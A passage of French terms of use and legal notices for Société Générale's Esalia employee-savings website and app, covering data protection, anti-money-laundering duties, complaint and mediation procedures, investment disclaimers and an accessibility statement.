l’Entreprise et qu’elle peut valablement demander la communication de telles
informations à Société Générale.


11.2 Confidentialité


Tous les documents, fichiers et informations, notamment d’ordre économique,
technique, commercial, financier, comptable, juridique et administratif échangés
entre les Parties dans le cadre de la Convention sont considérés comme
confidentiels et doivent être utilisés exclusivement pour les besoins de la
Convention. Les Parties s’engagent à ne pas divulguer ces Informations
Confidentielles à des tiers ou les utiliser à d’autres fins, sauf accord
préalable, exprès et écrit de l’autre Partie concernée par ces Informations.

Cette obligation de confidentialité ne s’applique pas :
- vis-à-vis des autorités de tutelle, des autorités judiciaires ou de
l’administration fiscale ou douanière, en cas de demande de leurs parts ;
- aux Informations Confidentielles qui, à l’époque de leur utilisation ou
divulgation par l’une ou l’autre des Parties, étaient déjà publiques.


ARTICLE 12 – Protection des données personnelles


Société Générale est conduite à traiter, de manière automatisée ou non, des
données à caractère personnel des Epargnants.


12.1 Les traitements réalisés par Société Générale ont pour finalités


La gestion du (des) compte(s) et/ou des produits et services souscrits. Les
données à caractère personnel des Epargnants pourront être conservées pour une
durée de cinq (5) ans à compter de la clôture du compte.

La réalisation d’études d’opinion et de satisfaction et d’études statistiques.
Les données à caractère personnel des Epargnants pourront être conservées pour
une durée maximum de trois (« ) ans à compter de cette dernière.

La lutte contre la fraude. Les données à caractère personnel des Epargnants
pourront être conservées pour une durée maximum de cinq (5) ans à compter de la
clôture du dossier fraude.

Si l’Entreprise a confié cette prestation à Société Générale, l’organisation par
voie électronique le cas échéant des élections des représentants des porteurs de
parts du conseil de surveillance d’un fonds commun de placement d’entreprise
(FCPE) et/ou des candidats au poste d’administrateur représentant les salariés
actionnaires. Les données à caractère personnel des Epargnants pourront être
conservées dans le cadre de la 1ère élection pour une durée de cinq (5) ans à
compter de la fin de ladite élection et dans le cadre de la 2nde élection pour
une durée de trois (3) ans à compter de l’assemblée générale des actionnaires au
cours de laquelle sera désigné ledit administrateur.

Le respect des obligations légales et réglementaires, notamment en matière de
gestion du risque opérationnel (dont la sécurité des réseaux informatiques et
des transactions), de la lutte contre le blanchiment des capitaux et le
financement du terrorisme, d’obligations liées aux marchés financiers, et la
détermination du statut fiscal. Les données à caractère personnel des Epargnants
pourront être conservées pour une durée de cinq (5) ans.

L’identification des comptes inactifs (PEE/PEI/PEG) et des comptes des personnes
décédées. Les données à caractère personnel des Epargnants pourront être
conservées pendant une durée maximum de trente (30) ans en fonction des cas
prévus par la réglementation en vigueur.

Le recouvrement de créances. Les données à caractère personnel des Epargnants
pourront être conservées pour une durée de douze (12) mois à compter de
l’extinction de la créance.

Société Générale est susceptible de procéder à l’enregistrement des
conversations et des communications avec les Epargnants, quel que soit leur
support (e-mails, fax, entretiens téléphoniques, etc.), aux fins d’amélioration
de l’accueil téléphonique, de respect des obligations légales et réglementaires
relatives aux marchés financiers et de sécurité des transactions effectuées. En
fonction des cas visés par la réglementation, les données à caractère personnel
des Epargnants pourront être conservées pour une durée de cinq (5) ans et
lorsque l’autorité compétente le demande, pendant une durée pouvant aller
jusqu’à sept (7) ans à compter de leur enregistrement.

Avec le consentement individuel de l’Epargnant, la prospection commerciale, la
réalisation d’animations commerciales et de campagnes publicitaires. Concernant
d’éventuelles opérations de prospection commerciale et de campagnes
publicitaires à destination des Epargnants, les données à caractère personnel
des Epargnants pourront être conservées pour une durée de trois (3) ans à
compter de la fin de la relation commerciale.

Les traitements précités sont nécessaires à l’exécution de la Convention de
tenue de compte conservation signée par l’Entreprise de l’Epargnant, au respect
des obligations légales et réglementaires de Société Générale, à la poursuite
des intérêts légitimes de Société Générale et ce dans le respect de vos libertés
et droits fondamentaux (par exemple la lutte contre la fraude, la prospection
commerciale).

Les données à caractère personnel des Epargnants pourront être conservées pour
la durée nécessaire à l’accomplissement de la finalité pour laquelle elles ont
été collectées tel que mentionné ci-dessus. Elles seront ensuite supprimées. Par
exception, ces données pourront être archivées pour gérer les réclamations et
contentieux en cours ainsi que pour répondre à nos obligations légales et/ou
réglementaires et/ou encore pour répondre aux demandes des autorités autorisées
à en faire la demande. Les données à caractère personnel figurant sur des
documents comptables pourront être conservées pendant une durée de dix (10) ans
conformément aux dispositions de l’article 123-22 du code de commerce.


12.2 Communication à des tiers


Tout Epargnant personne physique autorise Société Générale à communiquer les
informations recueillies dans le cadre de la présente Convention, aux personnes
morales du Groupe Société Générale ainsi qu’en tant que de besoin, à ses
partenaires, courtiers et assureurs, sous-traitants et prestataires, dans les
limites nécessaires à l’exécution des finalités décrites au point 1.

Société Générale pourra être amenée à transmettre les données à caractère
personnel des Epargnants porteurs de parts d’un fonds commun de placement
d’entreprise d’actionnariat salarié (FCPE AS) au prestataire désigné par
l’Entreprise ou à l’entité chargée légalement de l’organisation des élections
des représentants des porteurs de parts du conseil de surveillance de ce FCPE AS
et/ou des candidats au poste d’administrateur représentant les salariés
actionnaires. La finalité de cette communication de données personnelles au
tiers, reste exclusivement l’organisation des élections précitées sous la
responsabilité pleine et entière de l’Entreprise ou de l’entité qui en est
légalement chargée.


12.3 Transferts de données à caractère personnel en dehors de l’Union Européenne


Par ailleurs, en raison notamment de la dimension internationale du Groupe
Société Générale et des mesures prises pour assurer l’utilisation d’outils
informatiques ainsi que la sécurité des réseaux informatiques et des
transactions ainsi celle de l’utilisation des réseaux de paiement internationaux
ou encore dans le cadre de la mise en commun des moyens ou d’opérations de
maintenance informatique, les traitements visés au point 1 ci-dessus sont
susceptibles d’impliquer des transferts de données à caractère personnel vers
des pays non-membres de l’Espace Économique Européen, dont les législations en
matière de protection à caractère personnel diffèrent de celles de l’Union
Européenne. Dans ce cas, un cadre précis et exigeant, conforme aux modèles
adoptés par la Commission européenne, ainsi que des mesures de sécurité
appropriées, assurent la protection des données à caractère personnel
transférées.

Les transferts de données à caractère personnel rendus nécessaires interviennent
dans des conditions et sous des garanties propres à assurer la confidentialité
et la sécurité de ces données. À ce titre, Société Générale met en œuvre toutes
les mesures techniques et organisationnelles appropriées pour assurer la
sécurité de vos données à caractère personnel qui pourront également être
communiquées, aux organismes officiels et aux autorités administratives et
judiciaires habilitées du pays concerné, notamment dans le cadre de la lutte
contre le blanchiment des capitaux et le financement du terrorisme, la lutte
contre la fraude et la détermination du statut fiscal.


12.4 Droits des Epargnants


Tout Epargnant dispose d’un droit d’accès et de rectification, d’effacement, de
limitation du traitement, ainsi que le droit à la portabilité de ses données.
Tout Epargnant peut également s’opposer à tout moment, pour des raisons tenant à
sa situation particulière, à ce que ces données à caractère personnel fassent
l’objet d’un traitement. Il est précisé que l’exercice de certains de ces droits
peut entraîner au cas par cas pour Société Générale l’impossibilité de fournir
le produit ou le service. Tout Epargnant peut aussi, à tout moment et sans
frais, sans avoir à motiver sa demande, s’opposer à ce que ces données soient
utilisées à des fins de prospection commerciale.

Tout Epargnant peut exercer ses droits auprès de Société Générale par courrier
électronique à l’adresse suivante : SGSS-PersonalData@socgen.com ou contacter le
délégué à la protection des données personnelles par courrier électronique à
l’adresse suivante : Sg-Protection.Donnees@socgen.com

Tout Epargnant a le droit d’introduire une réclamation auprès de la Commission
Nationale de l’Informatique et des Libertés (CNIL), autorité de contrôle en
charge du respect des obligations en matière de données à caractère personnel.


ARTICLE 13 – Modification des Conditions Générales


Les Services sont susceptibles d'être complétés ou modifiés à tout moment
notamment en fonction des évolutions technologiques ou de la réglementation en
vigueur. En conséquence, les dispositions des présentes Conditions Générales
pourront être modifiées ou adaptées à tout moment par SOCIETE GENERALE. La
version en vigueur des Conditions Générales d'utilisation des Services est
consultable en ligne à tout moment. L'Epargnant peut y accéder dans la rubrique
« conditions générales d'utilisation » de l'Appli ou du Site Mobile, accessible
depuis la page d'identification et la page « Synthèse ».

Toutes modifications des Conditions Générales seront portées à la connaissance
de l'Epargnant par courrier postal ou par un message télématique d’information
sur le Site, sur l'Appli et sur le Site Mobile, un (1) mois avant leur date
d’application.

L’Epargnant a alors la possibilité, en cas de désaccord, d’en faire part à la
SOCIETE GENERALE et de cesser d’utiliser les Services. A défaut, s'il continue à
utiliser les Services à l'expiration du délai d’un (1) mois précité, l'Epargnant
sera réputé avoir accepté ces modifications.


ARTICLE 14 – Lutte contre le blanchiment et le financement du terrorisme


SOCIETE GENERALE en sa qualité de teneur de compte conservateur de parts
d’épargne salariale, est tenue aux obligations relatives à la lutte contre le
blanchiment des capitaux et le financement du terrorisme en application des
dispositions des articles L. 561-2 et suivants puis R. 561-16, 7° et 8° du Code
Monétaire et financier.

A ce titre, SOCIETE GENERALE est tenue de recueillir les nom et prénoms, ainsi
que les date et lieu de naissance de l’Epargnant. Pour certaines opérations,
Société Générale se réserve le droit d’obtenir un justificatif d’identité
probant de la part de l’Epargnant et de collecter des informations sur l’origine
des fonds investis au sein de son dispositif d’Epargne salariale, et ce en
application des dispositions précitées.

En outre, l'Epargnant confirme, au regard des obligations légales qui s'imposent
à SOCIETE GENERALE dans le cadre de la lutte contre le blanchiment telles que
définies à l'article 324-1 du Code pénal qu'aucune des sommes versées par lui au
titre de l'épargne salariale n'est liée au produit direct ou indirect d'un crime
ou d'un délit.

Les contrôles que SOCIETE GENERALE est tenue d'effectuer en application de la
réglementation relative à la lutte contre le blanchiment d'argent et le
financement du terrorisme peuvent conduire SOCIETE GENERALE à refuser, suspendre
toute opération ou clôturer le plan dont bénéficie l’Epargnant


ARTICLE 15 – Durée


Les présentes Conditions Générales d'utilisation des Services sont conclues pour
une durée indéterminée. L'Epargnant, conservant la possibilité d'effectuer ses
opérations par courrier postal, peut cesser à tout moment d'utiliser les
Services sans préavis. La demande de résiliation prend la forme d’une lettre
envoyée à SOCIETE GENERALE. L’accès aux Services sera fermé par SOCIETE GENERALE
dans les délais techniques nécessaires.

SOCIETE GENERALE pourra cesser de fournir, à tout moment, les Services moyennant
un préavis d'un mois adressé à l’Epargnant par lettre simple, et ce sans être
tenu d’en indiquer le motif.

SOCIETE GENERALE pourra interrompre immédiatement et sans préavis l'accès aux
Services en cas notamment, de non-respect des présentes Conditions Générales
d'utilisation.


ARTICLE 16 – Loi applicable / Litiges


Les présentes Conditions Générales sont soumises au droit français.
En cas de litige, faute d’être résolu à l’amiable entre SOCIETE GENERALE et
l’Epargnant, sera soumis à la compétence des juridictions françaises.

Vous souhaitez nous communiquer une insatisfaction
Société Générale a la volonté de vous apporter en permanence la meilleure
qualité de service.
Il se peut, toutefois, que vous rencontriez des difficultés dans le
fonctionnement ou dans l’utilisation des services à votre disposition.

A ce titre, vous avez la possibilité de nous transmettre votre réclamation selon
le fonctionnement décrit ci-dessous.
Etant entendu par réclamation, toute déclaration actant le mécontentement d’un
client envers un professionnel.

A noter : une demande de service ou de prestation, une demande d’information, de
clarification ou une demande d’avis n’est pas une réclamation.
Votre service clientèle se tient à votre entière disposition : 4 possibilités

> par courrier à l'adresse suivante :
SOCIETE GENERALE - EPARGNE SALARIALE
Service Réclamations
TSA 90035
93736 BOBIGNY CEDEX 9
FRANCE

> par téléphone au numéro suivant : 09.69.32.15.21 (appel non surtaxé, de 8h à
18h sans interruption du lundi au vendredi)

> via Esalia.com, identifiez-vous à l'aide de votre numéro de compte et de votre
mot de passe - cliquez sur la rubrique « Nous contacter » ( en haut à droite de
l'écran d'accueil) puis cliquez sur le bouton « Accéder au formulaire »,
sélectionnez le motif « Réclamations ».

> via l'Appli Esalia, identifiez-vous à l'aide de votre numéro de compte et de
votre mot de passe - cliquez sur la rubrique « Profil » (en bas à droite de
votre écran d'accueil) puis cliquez sur « Contacts », « Accéder au formulaire »
et sélectionnez le motif « Réclamations ».

Nous nous engageons à accuser réception de votre demande sous 10 jours et à vous
apporter une réponse dans les meilleurs délais (maximum deux mois).
En cas de survenance de circonstances particulières ne permettant pas de
respecter ce délai, vous serez informés du déroulement de traitement de votre
réclamation. Si vous utilisez ce canal et que votre demande nécessite une
analyse approfondie, il peut vous être demandé de transmettre votre réclamation
par courrier.

Votre désaccord persiste…

Service Réclamations auprès de Teneur de Compte Société Générale
SGSS/CAO/ESA
32 Rue du Champ de Tir
44300 NANTES
FRANCE

En dernier recours…

En cas de désaccord avec la réponse apportée par le Service Réclamations du
Teneur de compte Société Générale ou si vous n’avez pas obtenu de réponse de ce
dernier dans le délai de deux mois, vous pouvez solliciter :

> Le Médiateur auprès de la Fédération Bancaire Française (FBF) qui exerce sa
fonction en toute indépendance, dans le cadre des « Conditions générales du
service de médiation » qui précise notamment son champ de compétence et les
conditions de son intervention, et que vous pouvez consulter sur le site
http://www.lemediateur.fbf.fr.

Vous pouvez saisir le Médiateur de la FBF en transmettant votre demande sur le
site internet du Médiateur : http://www.lemediateur.fbf.fr. Le Médiateur de la
FBF vous répondra directement dans un délai de 90 jours à compter de la date à
laquelle il aura reçu tous les documents sur lesquels est fondée la demande. En
cas de litige complexe, ce délai peut être prolongé. Le Médiateur formulera une
position motivée qu’il soumet à l’approbation des deux parties.

ou

> le Médiateur de l’Autorité des Marchés Financiers (AMF).

Pour saisir le Médiateur de l’AMF, vous pouvez adresser votre courrier à
l’adresse suivante :

Mme Marielle Cohen-Branche - Médiateur de l'AMF
- Par formulaire électronique téléchargeable sur le site internet de l’AMF :
www.amf-france.org > Le médiateur
- Par courrier postal : Le médiateur – Autorité des marchés financiers
17, place de la Bourse
75082 Paris Cedex 02

Votre choix est définitif pour ce litige. La saisine du Médiateur vaut
autorisation expresse de levée du secret bancaire de votre part à l’égard du
Teneur de Compte Société Générale pour ce qui concerne la communication des
informations nécessaires à l’instruction de la médiation.

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VELIZY-VILLACOUBLAY) les sites suivants : https://salaries.esalia.com ;
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L'Appli Esalia est hébergée par Société Générale.

Le Site Mobile « ESALIA » est hébergé par Société Générale.

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Esalia est appelé ci-après par convention « le Site ».

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l’Autorité de Contrôle Prudentiel et de Résolution (« ACPR », 4 place de
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Européenne (« BCE »). Société Générale, en qualité d’établissement de crédit
agréé pour la fourniture de services d’investissement, est ainsi habilitée, à
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et la mise à jour des informations diffusées sur ce site, dont elle se réserve
le droit de corriger, à tout moment et sans préavis, le contenu. Ils ne peuvent
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instruments financiers sont fournies à titre indicatif et ne sauraient en aucun
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vendre un quelconque instrument financier, ou comme se substituant à tout type
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Lorsque des simulations de performances passées ou des performances passées sont
présentées, les données y afférentes ont trait à des périodes passées et ne sont
pas un indicateur fiable des résultats futurs. Il en va de même de l'évolution
des données historiques de marché. Lorsque des simulations de performances
futures sont présentées, les données relatives à ces performances ne sont que
des prévisions et ne constituent pas un indicateur fiable quant aux résultats
futurs du produit. En outre, lorsque les performances passées ou les simulations
de performances futures ou passées sont basées sur des données exprimées dans
une monnaie qui n'est pas celle de l'Etat de résidence de l'investisseur, les
gains éventuels peuvent croître ou décroître en fonction des fluctuations de
taux de change. Enfin, lorsque des performances passées ou des simulations de
performances (passées ou futures) sont présentées, les gains éventuels peuvent
également être réduits par l'effet de commissions, redevances ou autres charges
supportées par l'investisseur.

Aucune responsabilité ne sera acceptée par Société Générale en cas de perte
directe ou indirecte résultant de l’utilisation de ces informations.

Toute personne désireuse de se procurer un des services ou produits présentés
éventuellement sur ce Site est priée de contacter Société Générale afin de
s´informer de la disponibilité du service ou produit en question ainsi que des
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Le cas échéant, toute demande éventuelle de souscription en ligne d'un produit
ou service proposé par Société Générale ne vaut qu'après acceptation par
celle-ci et implique la soumission de l'opération aux conditions contractuelles
et tarifaires en vigueur.


Avertissement pour les non-résidents (résidents hors de France)


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la France. Aucun des services ou produits n’est destiné à une personne si la loi
de son pays d'origine ou de tout autre pays qui la concernerait l'interdit : il
appartient à toute personne souhaitant souscrire des produits/services, de
vérifier auprès de ses conseils habituels que son statut juridique et fiscal lui
permet de souscrire de tels produits/services.


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Société Générale n’est pas enregistrée comme négociateur (« broker-dealer ») au
regard de l’US Securities Exchange Act de 1934, tel que modifié (le « 1934 Act
»), ni au regard d’une autre loi applicable aux Etats-Unis. Par ailleurs, les
instruments financiers qui sont susceptibles d’être souscrits sur le site ne
font pas l’objet, sauf mention contraire exprès, d’un enregistrement aux
Etats-Unis auprès de la Securities Exchange Commission (« SEC ») (…)


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DÉCLARATION D’ACCESSIBILITÉ


Société Générale s’engage à rendre son site internet www.esalia.com accessible
conformément à l’article 47 de la loi n° 2005-102 du 11 février 2005.

A cette fin, il met en oeuvre la stratégie et les actions suivantes : le Schéma
pluriannuel de mise en accessibilité et le Plan d'action annuel de mise en
accessibilité.
Cette déclaration d’accessibilité s’applique au site www.esalia.com.




ETAT DE CONFORMITÉ


Le présent site n'a pas encore été audité, il est donc non conforme au
Référentiel Général d'Amélioration de l'Accessibilité (RGAA) dans sa version 4.




RÉSULTATS DES TESTS ET CONTENUS NON ACCESSIBLES


En attente d'évaluation.




ÉTABLISSEMENT DE CETTE DÉCLARATION D’ACCESSIBILITÉ


Cette déclaration a été établie le 13/07/2022.




TECHNOLOGIES UTILISÉES POUR LE DÉVELOPPEMENT DU SITE


 * HTML5
 * CSS3
 * Javascript



AGENTS UTILISATEURS, TECHNOLOGIES D'ASSISTANCE ET OUTILS UTILISÉS POUR VÉRIFIER
L'ACCESSIBILITÉ. PAGES DU SITE AYANT FAIT L'OBJET DE LA VÉRIFICATION DE
CONFORMITÉ


En attente d'évaluation.




RETOUR D’INFORMATION ET CONTACT


Si vous n’arrivez pas à accéder à un contenu ou à un service, vous pouvez
envoyer un mail à esalia.webmaster@sgss.socgen.com pour être orienté vers une
alternative accessible ou obtenir le contenu sous une autre forme.




VOIES DE RECOURS


Cette procédure est à utiliser dans le cas suivant :
Vous avez signalé au responsable du site internet un défaut d’accessibilité qui
vous empêche d’accéder à un contenu ou à un des services du portail et vous
n’avez pas obtenu de réponse satisfaisante.


 * Écrire un message au Défenseur des droits
 * Contacter le délégué du Défenseur des droits dans votre région
 * Envoyer un courrier par la poste (gratuit, ne pas mettre de timbre) :
    * Défenseur des droits
    * Libre réponse 71120
    * 75342 Paris CEDEX 07

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